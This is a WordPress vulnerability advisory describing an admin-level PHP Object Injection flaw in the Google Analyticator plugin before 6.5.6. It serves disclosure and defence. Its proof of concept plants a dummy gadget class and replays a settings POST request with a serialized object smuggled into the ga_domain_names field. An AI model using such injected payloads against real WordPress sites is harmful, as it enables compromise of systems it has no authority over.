WordPress Plugin Vulnerabilities
Google Analyticator < 6.5.6 - Admin+ PHP Object Injection
Description
The plugin unserializes user input provided via the settings, which could allow high-privilege users such as admin to perform PHP Object Injection when a suitable gadget is present.
Proof of Concept
To simulate a gadget chain, put the following code in the plugin: class Evil { public function __wakeup() : void { die("Arbitrary deserialization"); } } Then, as Admin, go to the plugin settings page (/wp-admin/admin.php?page=google-analyticator), save them and intercept the request made, then add ga_domain_names=O:4:"Evil":0:{}; to it and replay it: POST /wp-admin/admin.php?page=google-analyticator HTTP/1.1 _wpnonce=<nonce-key>&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dgoogle-analyticator&ga_status=disabled&ga_uid=UA-XXXXXXXX-X&ga_analytic_snippet=disabled&key_ga_show_ad=1&info_update=Save+Changes&ga_annon=0&ga_admin_status=enabled&ga_admin_role%5B%5D=administrator&ga_admin_disable=remove&ga_admin_disable_DimentionIndex=&ga_enable_remarketing=0&key_ga_track_login=0&ga_outbound=enabled&ga_event=enabled&ga_enhanced_link_attr=disabled&ga_downloads=&ga_outbound_prefix=outgoing&ga_downloads_prefix=download&ga_adsense=&ga_extra=&ga_extra_after=&ga_widgets=enabled&ga_dashboard_role%5B%5D=administrator&ga_domain_names=O:4:"Evil":0:{}; The response will contain the "Arbitrary deserialization" output.
Affects Plugins
References
CVE
Classification
Type
OBJECT INJECTION
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Nguyễn Phạm VIệt Nam
Submitter
Nguyễn Phạm VIệt Nam
Submitter website
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-12-27 (about 1 years ago)
Added
2022-12-27 (about 1 years ago)
Last Updated
2022-12-27 (about 1 years ago)